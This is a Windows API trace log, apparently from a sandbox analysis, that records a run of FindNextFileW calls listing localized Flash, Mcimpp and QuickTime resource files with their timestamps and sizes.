	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.DAN", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.DEU", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.ESP", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.EUQ", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.FRA", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.ITA", cAlternateFileName="")) returned 1
	[0054.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.JPN", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.KOR", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.mpp", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6b1000, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.NLD", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.NOR", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.PTB", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SUO", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.SVE", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.CAT", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.CHS", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.CHT", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.DAN", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.DEU", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.ESP", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.EUQ", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.FRA", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.ITA", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.JPN", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.KOR", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.mpp", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.NLD", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.NOR", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.PTB", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.SUO", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCIMPP.SVE", cAlternateFileName="")) returned 1
	[0054.459] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CAT", cAlternateFileName="QUICKT~1.CAT")) returned 1
	[0054.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CHS", cAlternateFileName="QUICKT~1.CHS")) returned 1
	[0054.460] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CHT", cAlternateFileName="QUICKT~1.CHT")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.DAN", cAlternateFileName="QUICKT~1.DAN")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.DEU", cAlternateFileName="QUICKT~1.DEU")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.ESP", cAlternateFileName="QUICKT~1.ESP")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.EUQ", cAlternateFileName="QUICKT~1.EUQ")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.FRA", cAlternateFileName="QUICKT~1.FRA")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.ITA", cAlternateFileName="QUICKT~1.ITA")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.JPN", cAlternateFileName="QUICKT~1.JPN")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.KOR", cAlternateFileName="QUICKT~1.KOR")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44000, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.mpp", cAlternateFileName="QUICKT~1.MPP")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.NLD", cAlternateFileName="QUICKT~1.NLD")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.NOR", cAlternateFileName="QUICKT~1.NOR")) returned 1
	[0054.461] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1251b80c | out: lpFindFileData=0x1251b80c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.PTB", cAlternateFileName="QUICKT~1.PTB")) returned 1
